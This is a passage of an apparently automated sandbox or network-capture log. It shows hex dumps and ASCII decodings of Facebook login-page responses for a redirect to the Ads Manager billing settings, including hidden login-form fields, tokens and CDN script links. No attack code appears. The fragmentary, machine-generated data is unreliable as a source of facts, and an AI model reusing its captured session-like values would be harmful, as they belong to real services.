eemium\/zero_fup\/":1,"\/privacy\/policy\/":1,"\/privacy\/center\/":1,"\/data\/manifest\/":1,"\/4oh4.php":1,"\/autologin.php":1,"\/birthday_help.php":1,"\/checkpoint\/":1,"\/contact-importer\/":1,"\/cr.php":1,"\/legal\/terms\/":1,"\/login.php":1,"\/login\
2023-05-28 08:43:32 UTC	1319	IN	Data Raw: 6f 5f 73 74 61 74 75 73 5f 75 70 64 61 74 65 5c 2f 22 3a 31 2c 22 5c 2f 6f 70 65 72 61 74 6f 72 5f 73 74 6f 72 65 5c 2f 22 3a 31 2c 22 5c 2f 75 70 73 65 6c 6c 5c 2f 22 3a 31 2c 22 5c 2f 77 69 66 69 61 75 74 68 5c 2f 6c 6f 67 69 6e 5c 2f 22 3a 31 7d 7d 2c 31 34 37 38 5d 2c 5b 22 53 65 72 76 65 72 54 69 6d 65 44 61 74 61 22 2c 5b 5d 2c 7b 22 73 65 72 76 65 72 54 69 6d 65 22 3a 31 36 38 35 32 36 33 34 31 32 34 30 39 2c 22 74 69 6d 65 4f 66 52 65 71 75 65 73 74 53 74 61 72 74 22 3a 31 36 38 35 32 36 33 34 31 32 33 38 37 2e 34 2c 22 74 69 6d 65 4f 66 52 65 73 70 6f 6e 73 65 53 74 61 72 74 22 3a 31 36 38 35 32 36 33 34 31 32 33 38 37 2e 34 7d 2c 35 39 34 33 5d 2c 5b 22 46 62 74 51 54 4f 76 65 72 72 69 64 65 73 22 2c 5b 5d 2c 7b 22 6f 76 65 72 72 69 64 65 73 22 Data Ascii: o_status_update\/":1,"\/operator_store\/":1,"\/upsell\/":1,"\/wifiauth\/login\/":1}},1478],["ServerTimeData",[],{"serverTime":1685263412409,"timeOfRequestStart":1685263412387.4,"timeOfResponseStart":1685263412387.4},5943],["FbtQTOverrides",[],{"overrides"
2023-05-28 08:43:32 UTC	1320	IN	Data Raw: 72 74 38 51 46 63 48 51 6f 34 5f 63 4b 61 75 4d 4b 34 75 55 71 46 38 41 2d 4a 54 51 48 64 34 5a 36 33 4a 4d 4d 31 30 73 73 34 22 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 38 30 37 30 34 32 22 2c 5b 22 73 65 74 54 69 6d 65 6f 75 74 42 6c 75 65 22 5d 2c 7b 22 5f 5f 72 63 22 3a 5b 22 73 65 74 54 69 6d 65 6f 75 74 42 6c 75 65 22 2c 22 41 61 31 4f 39 39 63 66 55 2d 70 6b 65 54 63 50 46 32 64 36 47 62 4f 48 5f 39 4d 48 58 64 4c 7a 59 38 54 74 2d 57 6d 53 35 39 5a 45 73 50 4f 75 32 72 74 38 51 46 63 48 51 6f 34 5f 63 4b 61 75 4d 4b 34 75 55 71 46 38 41 2d 4a 54 51 48 64 34 5a 36 33 4a 4d 4d 31 30 73 73 34 22 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 38 39 36 34 36 32 22 2c 5b 22 73 65 74 49 6e 74 65 72 76 61 6c 41 63 72 6f 73 73 54 72 61 6e 73 69 74 69 6f 6e 73 42 6c 75 65 Data Ascii: rt8QFcHQo4_cKauMK4uUqF8A-JTQHd4Z63JMM10ss4"]},-1],["cr:807042",["setTimeoutBlue"],{"__rc":["setTimeoutBlue","Aa1O99cfU-pkeTcPF2d6GbOH_9MHXdLzY8Tt-WmS59ZEsPOu2rt8QFcHQo4_cKauMK4uUqF8A-JTQHd4Z63JMM10ss4"]},-1],["cr:896462",["setIntervalAcrossTransitionsBlue
2023-05-28 08:43:32 UTC	1322	IN	Data Raw: 72 6f 6c 6c 22 3a 32 30 30 30 30 30 2c 22 6d 6f 75 73 65 6d 6f 76 65 22 3a 32 30 30 30 30 2c 22 6d 6f 75 73 65 6f 76 65 72 22 3a 31 30 30 30 30 2c 22 6d 6f 75 73 65 6f 75 74 22 3a 31 30 30 30 30 2c 22 6d 6f 75 73 65 77 68 65 65 6c 22 3a 31 2c 22 4d 53 50 6f 69 6e 74 65 72 4d 6f 76 65 22 3a 31 30 30 30 30 2c 22 6b 65 79 64 6f 77 6e 22 3a 30 2e 31 2c 22 63 6c 69 63 6b 22 3a 30 2e 30 32 2c 22 6d 6f 75 73 65 75 70 22 3a 30 2e 30 32 2c 22 5f 5f 31 30 30 6d 73 22 3a 30 2e 30 30 31 2c 22 5f 5f 64 65 66 61 75 6c 74 22 3a 35 30 30 30 2c 22 5f 5f 6d 69 6e 22 3a 31 30 30 2c 22 5f 5f 69 6e 74 65 72 61 63 74 69 6f 6e 44 65 66 61 75 6c 74 22 3a 32 30 30 2c 22 5f 5f 65 76 65 6e 74 44 65 66 61 75 6c 74 22 3a 31 30 30 30 30 30 7d 2c 22 70 61 67 65 5f 73 61 6d 70 6c 69 6e Data Ascii: roll":200000,"mousemove":20000,"mouseover":10000,"mouseout":10000,"mousewheel":1,"MSPointerMove":10000,"keydown":0.1,"click":0.02,"mouseup":0.02,"__100ms":0.001,"__default":5000,"__min":100,"__interactionDefault":200,"__eventDefault":100000},"page_samplin
2023-05-28 08:43:32 UTC	1323	IN	Data Raw: 73 3d 22 5f 32 70 69 6f 20 5f 31 75 78 75 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 5f 35 38 35 6e 22 20 69 64 3d 22 75 5f 30 5f 31 5f 63 76 22 3e 3c 69 20 63 6c 61 73 73 3d 22 5f 35 38 35 70 20 69 6d 67 20 73 70 5f 45 50 39 77 58 38 71 44 44 76 75 20 73 78 5f 36 61 63 32 66 34 22 3e 3c 75 3e 4e 6f 74 69 63 65 3c 2f 75 3e 3c 2f 69 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 5f 35 38 35 72 20 5f 35 30 66 34 22 3e 59 6f 75 20 6d 75 73 74 20 6c 6f 67 20 69 6e 20 74 6f 20 63 6f 6e 74 69 6e 75 65 2e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 5f 34 2d 75 32 20 5f 31 77 31 74 20 5f 34 2d 75 38 20 5f 35 32 6a 76 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 5f 78 6b 75 22 20 69 64 3d 22 68 65 61 64 65 72 5f 62 6c 6f 63 6b 22 Data Ascii: s="_2pio _1uxu"><div class="_585n" id="u_0_1_cv"><i class="_585p img sp_EP9wX8qDDvu sx_6ac2f4"><u>Notice</u></i><div class="_585r _50f4">You must log in to continue.</div></div></div><div class="_4-u2 _1w1t _4-u8 _52jv"><div class="_xku" id="header_block"
2023-05-28 08:43:32 UTC	1324	IN	Data Raw: 74 6f 63 6f 6d 70 6c 65 74 65 3d 22 6f 66 66 22 20 6e 61 6d 65 3d 22 6c 67 6e 64 69 6d 22 20 76 61 6c 75 65 3d 22 22 20 69 64 3d 22 75 5f 30 5f 33 5f 78 71 22 20 2f 3e 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 6e 61 6d 65 3d 22 6c 67 6e 72 6e 64 22 20 76 61 6c 75 65 3d 22 30 31 34 33 33 32 5f 4c 2d 53 55 22 20 2f 3e 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 6c 67 6e 6a 73 22 20 6e 61 6d 65 3d 22 6c 67 6e 6a 73 22 20 76 61 6c 75 65 3d 22 6e 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6c 65 61 72 66 69 78 20 5f 35 34 36 36 20 5f 34 34 6d 67 22 20 69 64 3d 22 65 6d 61 69 6c 5f 63 6f 6e 74 61 69 6e 65 72 22 3e 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 74 65 78 74 22 20 63 6c 61 73 73 3d 22 69 6e 70 75 Data Ascii: tocomplete="off" name="lgndim" value="" id="u_0_3_xq" /><input type="hidden" name="lgnrnd" value="014332_L-SU" /><input type="hidden" id="lgnjs" name="lgnjs" value="n" /><div class="clearfix _5466 _44mg" id="email_container"><input type="text" class="inpu
2023-05-28 08:43:32 UTC	1326	IN	Data Raw: 61 75 74 6f 63 6f 6d 70 6c 65 74 65 3d 22 6f 66 66 22 20 69 64 3d 22 70 72 65 66 69 6c 6c 5f 63 6f 6e 74 61 63 74 5f 70 6f 69 6e 74 22 20 6e 61 6d 65 3d 22 70 72 65 66 69 6c 6c 5f 63 6f 6e 74 61 63 74 5f 70 6f 69 6e 74 22 20 76 61 6c 75 65 3d 22 22 20 2f 3e 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 61 75 74 6f 63 6f 6d 70 6c 65 74 65 3d 22 6f 66 66 22 20 69 64 3d 22 70 72 65 66 69 6c 6c 5f 73 6f 75 72 63 65 22 20 6e 61 6d 65 3d 22 70 72 65 66 69 6c 6c 5f 73 6f 75 72 63 65 22 20 2f 3e 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 61 75 74 6f 63 6f 6d 70 6c 65 74 65 3d 22 6f 66 66 22 20 69 64 3d 22 70 72 65 66 69 6c 6c 5f 74 79 70 65 22 20 6e 61 6d 65 3d 22 70 72 65 66 69 6c 6c 5f 74 79 70 65 22 20 2f 3e 3c 69 6e 70 75 Data Ascii: autocomplete="off" id="prefill_contact_point" name="prefill_contact_point" value="" /><input type="hidden" autocomplete="off" id="prefill_source" name="prefill_source" /><input type="hidden" autocomplete="off" id="prefill_type" name="prefill_type" /><inpu
2023-05-28 08:43:32 UTC	1327	IN	Data Raw: 61 6e 22 3e 44 65 75 74 73 63 68 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 63 6c 61 73 73 3d 22 5f 73 76 34 22 20 64 69 72 3d 22 6c 74 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 72 2d 66 72 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 6c 6f 67 69 6e 2e 70 68 70 3f 6e 65 78 74 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 61 64 73 6d 61 6e 61 67 65 72 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 25 32 46 61 64 73 25 32 46 6d 61 6e 61 67 65 72 25 32 46 61 63 63 6f 75 6e 74 5f 73 65 74 74 69 6e 67 73 25 32 46 61 63 63 6f 75 6e 74 5f 62 69 6c 6c 69 6e 67 25 32 46 22 20 6f 6e 63 6c 69 63 6b 3d 22 72 65 71 75 69 72 65 28 26 71 75 6f 74 3b 49 6e 74 6c 55 74 69 6c 73 26 71 75 6f 74 3b 29 2e 73 65 74 43 6f 6f 6b 69 65 4c 6f 63 61 6c 65 28 26 71 75 6f 74 3b Data Ascii: an">Deutsch</a></li><li><a class="_sv4" dir="ltr" href="https://fr-fr.facebook.com/login.php?next=https%3A%2F%2Fadsmanager.facebook.com%2Fads%2Fmanager%2Faccount_settings%2Faccount_billing%2F" onclick="require("IntlUtils").setCookieLocale("
2023-05-28 08:43:32 UTC	1329	IN	Data Raw: 61 64 73 5c 75 30 30 32 35 32 46 6d 61 6e 61 67 65 72 5c 75 30 30 32 35 32 46 61 63 63 6f 75 6e 74 5f 73 65 74 74 69 6e 67 73 5c 75 30 30 32 35 32 46 61 63 63 6f 75 6e 74 5f 62 69 6c 6c 69 6e 67 5c 75 30 30 32 35 32 46 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 77 77 77 5f 6c 69 73 74 5f 73 65 6c 65 63 74 6f 72 26 71 75 6f 74 3b 2c 20 33 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 20 74 69 74 6c 65 3d 22 50 6f 72 74 75 67 75 65 73 65 20 28 50 6f 72 74 75 67 61 6c 29 22 3e 50 6f 72 74 75 67 75 c3 aa 73 20 28 50 6f 72 74 75 67 61 6c 29 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 63 6c 61 73 73 3d 22 5f 73 76 34 22 20 64 69 72 3d 22 6c 74 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 71 2d 61 6c 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 6c Data Ascii: ads\u00252Fmanager\u00252Faccount_settings\u00252Faccount_billing\u00252F", "www_list_selector", 3); return false;" title="Portuguese (Portugal)">Portugus (Portugal)</a></li><li><a class="_sv4" dir="ltr" href="https://sq-al.facebook.com/l
2023-05-28 08:43:32 UTC	1330	IN	Data Raw: 65 28 26 71 75 6f 74 3b 74 72 5f 54 52 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 65 6e 5f 55 53 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 74 72 2d 74 72 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 5c 2f 6c 6f 67 69 6e 2e 70 68 70 3f 6e 65 78 74 3d 68 74 74 70 73 5c 75 30 30 32 35 33 41 5c 75 30 30 32 35 32 46 5c 75 30 30 32 35 32 46 61 64 73 6d 61 6e 61 67 65 72 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 5c 75 30 30 32 35 32 46 61 64 73 5c 75 30 30 32 35 32 46 6d 61 6e 61 67 65 72 5c 75 30 30 32 35 32 46 61 63 63 6f 75 6e 74 5f 73 65 74 74 69 6e 67 73 5c 75 30 30 32 35 32 46 61 63 63 6f 75 6e 74 5f 62 69 6c 6c 69 6e 67 5c 75 30 30 32 35 32 46 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 77 77 77 5f 6c 69 73 74 5f 73 65 6c 65 63 74 6f 72 Data Ascii: e("tr_TR", "en_US", "https:\/\/tr-tr.facebook.com\/login.php?next=https\u00253A\u00252F\u00252Fadsmanager.facebook.com\u00252Fads\u00252Fmanager\u00252Faccount_settings\u00252Faccount_billing\u00252F", "www_list_selector
2023-05-28 08:43:32 UTC	1332	IN	Data Raw: 46 25 32 46 61 64 73 6d 61 6e 61 67 65 72 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 25 32 46 61 64 73 25 32 46 6d 61 6e 61 67 65 72 25 32 46 61 63 63 6f 75 6e 74 5f 73 65 74 74 69 6e 67 73 25 32 46 61 63 63 6f 75 6e 74 5f 62 69 6c 6c 69 6e 67 25 32 46 22 20 6f 6e 63 6c 69 63 6b 3d 22 72 65 71 75 69 72 65 28 26 71 75 6f 74 3b 49 6e 74 6c 55 74 69 6c 73 26 71 75 6f 74 3b 29 2e 73 65 74 43 6f 6f 6b 69 65 4c 6f 63 61 6c 65 28 26 71 75 6f 74 3b 7a 68 5f 43 4e 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 65 6e 5f 55 53 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 7a 68 2d 63 6e 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 5c 2f 6c 6f 67 69 6e 2e 70 68 70 3f 6e 65 78 74 3d 68 74 74 70 73 5c 75 30 30 32 35 33 41 5c 75 30 30 32 35 32 46 5c 75 30 30 Data Ascii: F%2Fadsmanager.facebook.com%2Fads%2Fmanager%2Faccount_settings%2Faccount_billing%2F" onclick="require("IntlUtils").setCookieLocale("zh_CN", "en_US", "https:\/\/zh-cn.facebook.com\/login.php?next=https\u00253A\u00252F\u00
2023-05-28 08:43:32 UTC	1333	IN	Data Raw: 65 62 6f 6f 6b 2e 22 3e 50 6c 61 63 65 73 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 2f 67 61 6d 65 73 2f 22 20 74 69 74 6c 65 3d 22 43 68 65 63 6b 20 6f 75 74 20 46 61 63 65 62 6f 6f 6b 20 67 61 6d 65 73 2e 22 3e 47 61 6d 65 73 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 2f 6d 61 72 6b 65 74 70 6c 61 63 65 2f 22 20 74 69 74 6c 65 3d 22 42 75 79 20 61 6e 64 20 73 65 6c 6c 20 6f 6e 20 46 61 63 65 62 6f 6f 6b 20 4d 61 72 6b 65 74 70 6c 61 63 65 2e 22 3e 4d 61 72 6b 65 74 70 6c 61 63 65 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 61 79 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 22 20 74 69 74 6c 65 3d 22 4c 65 61 72 6e 20 6d 6f 72 65 20 61 62 6f 75 74 20 4d 65 74 61 Data Ascii: ebook.">Places</a></li><li><a href="/games/" title="Check out Facebook games.">Games</a></li><li><a href="/marketplace/" title="Buy and sell on Facebook Marketplace.">Marketplace</a></li><li><a href="https://pay.facebook.com/" title="Learn more about Meta
2023-05-28 08:43:32 UTC	1335	IN	Data Raw: 73 63 6f 76 65 72 2f 22 20 74 69 74 6c 65 3d 22 45 78 70 6c 6f 72 65 20 6f 75 72 20 47 72 6f 75 70 73 2e 22 3e 47 72 6f 75 70 73 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 62 6f 75 74 2e 6d 65 74 61 2e 63 6f 6d 2f 22 20 61 63 63 65 73 73 6b 65 79 3d 22 38 22 20 74 69 74 6c 65 3d 22 52 65 61 64 20 6f 75 72 20 62 6c 6f 67 2c 20 64 69 73 63 6f 76 65 72 20 74 68 65 20 72 65 73 6f 75 72 63 65 20 63 65 6e 74 65 72 2c 20 61 6e 64 20 66 69 6e 64 20 6a 6f 62 20 6f 70 70 6f 72 74 75 6e 69 74 69 65 73 2e 22 3e 41 62 6f 75 74 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 2f 61 64 5f 63 61 6d 70 61 69 67 6e 2f 6c 61 6e 64 69 6e 67 2e 70 68 70 3f 70 6c 61 63 65 6d 65 6e 74 3d 70 66 6c 6f 26 61 6d 70 Data Ascii: scover/" title="Explore our Groups.">Groups</a></li><li><a href="https://about.meta.com/" accesskey="8" title="Read our blog, discover the resource center, and find job opportunities.">About</a></li><li><a href="/ad_campaign/landing.php?placement=pflo&amp
2023-05-28 08:43:32 UTC	1336	IN	Data Raw: 79 3f 70 72 69 76 61 63 79 5f 73 6f 75 72 63 65 3d 61 63 74 69 76 69 74 79 5f 6c 6f 67 5f 74 6f 70 5f 6d 65 6e 75 22 20 74 69 74 6c 65 3d 22 56 69 65 77 20 79 6f 75 72 20 61 63 74 69 76 69 74 79 20 6c 6f 67 22 3e 41 63 74 69 76 69 74 79 20 6c 6f 67 3c 2f 61 3e 3c 2f 6c 69 3e 3c 2f 75 6c 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 76 6c 20 63 6f 70 79 72 69 67 68 74 22 3e 3c 64 69 76 3e 3c 73 70 61 6e 3e 20 4d 65 74 61 20 c2 a9 20 32 30 32 33 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 3e 3c 2f 64 69 76 3e 3c 73 70 61 6e 3e 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 73 65 63 75 72 69 74 79 2f 68 Data Ascii: y?privacy_source=activity_log_top_menu" title="View your activity log">Activity log</a></li></ul></div><div class="mvl copyright"><div><span> Meta 2023</span></div></div></div></div></div></div><div></div><span><img src="https://facebook.com/security/h
2023-05-28 08:43:32 UTC	1338	IN	Data Raw: 3a 22 41 54 36 53 4c 4e 52 65 67 31 69 6a 68 33 62 5a 4e 34 38 22 7d 2c 22 32 30 31 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 22 41 54 34 61 6c 6e 68 5f 34 4e 6e 56 38 51 64 5f 41 37 73 22 7d 2c 22 32 32 35 37 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 22 41 54 35 4d 61 63 5f 51 39 6a 41 4c 56 47 74 64 78 78 55 22 7d 2c 22 36 33 36 31 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 22 41 54 36 66 65 4e 4e 52 36 64 46 49 6c 55 69 33 55 62 55 22 7d 2c 22 36 38 36 32 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 22 41 54 36 38 6f 66 70 63 53 70 37 43 41 7a 4d 64 57 35 67 22 7d 2c 22 37 35 31 38 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c Data Ascii: :"AT6SLNReg1ijh3bZN48"},"201":{"result":false,"hash":"AT4alnh_4NnV8Qd_A7s"},"2257":{"result":false,"hash":"AT5Mac_Q9jALVGtdxxU"},"6361":{"result":false,"hash":"AT6feNNR6dFIlUi3UbU"},"6862":{"result":false,"hash":"AT68ofpcSp7CAzMdW5g"},"7518":{"result":fal
2023-05-28 08:43:32 UTC	1339	IN	Data Raw: 2f 76 33 5c 2f 79 45 5c 2f 72 5c 2f 6a 63 4c 53 79 45 5f 37 38 5a 63 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 64 4d 62 35 77 53 64 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 4d 5c 2f 72 5c 2f 44 35 32 72 67 49 35 6b 37 6d 34 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 37 5a 37 73 79 33 6c 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 54 Data Ascii: /v3\/yE\/r\/jcLSyE_78Zc.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"dMb5wSd":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yM\/r\/D52rgI5k7m4.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"7Z7sy3l":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yT
2023-05-28 08:43:32 UTC	1341	IN	Data Raw: 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 46 5c 2f 72 5c 2f 70 35 35 48 66 58 57 5f 5f 6d 4d 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 4f 58 56 2b 75 56 31 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 4c 6c 35 34 5c 2f 79 72 5c 2f 6c 5c 2f 65 6e 5f 55 53 5c 2f 66 6a 45 49 44 2d 78 57 2d 33 34 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 5c 2f 41 4e 38 42 74 35 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 Data Ascii: n.net\/rsrc.php\/v3\/yF\/r\/p55HfXW__mM.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"OXV+uV1":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3iLl54\/yr\/l\/en_US\/fjEID-xW-34.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"\/AN8Bt5":{"type":"js","src":"https:\/\/static.x
2023-05-28 08:43:32 UTC	1342	IN	Data Raw: 6e 63 22 3a 31 7d 2c 22 35 68 76 70 49 33 48 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 68 5c 2f 72 5c 2f 6c 6b 41 63 53 39 33 46 46 4c 4d 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 33 51 59 72 51 47 65 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 54 5c 2f 72 5c 2f 6f 57 67 71 31 31 53 54 41 6d 74 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c Data Ascii: nc":1},"5hvpI3H":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yh\/r\/lkAcS93FFLM.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"3QYrQGe":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yT\/r\/oWgq11STAmt.js?_nc_x=Ij3Wp8lg5Kz","nc":1},
2023-05-28 08:43:32 UTC	1344	IN	Data Raw: 35 79 44 4d 67 48 33 61 61 41 79 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 5c 2f 4b 51 69 52 45 74 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 4d 5c 2f 72 5c 2f 79 5a 73 4f 6e 75 49 30 35 44 73 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 69 31 76 44 4b 74 39 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 34 5c 2f 72 5c 2f 5a 5a 6e 4b 66 59 Data Ascii: 5yDMgH3aaAy.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"\/KQiREt":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yM\/r\/yZsOnuI05Ds.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"i1vDKt9":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/y4\/r\/ZZnKfY
2023-05-28 08:43:32 UTC	1345	IN	Data Raw: 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 76 5c 2f 72 5c 2f 4d 6c 4a 34 6b 77 58 46 71 36 58 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 54 58 7a 4a 35 48 46 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 63 78 69 34 5c 2f 79 52 5c 2f 6c 5c 2f 65 6e 5f 55 53 5c 2f 72 75 58 38 4e 35 55 54 79 73 37 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 76 57 64 55 4f 75 77 22 3a 7b 22 74 79 70 65 Data Ascii: ","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yv\/r\/MlJ4kwXFq6X.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"TXzJ5HF":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3icxi4\/yR\/l\/en_US\/ruX8N5UTys7.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"vWdUOuw":{"type
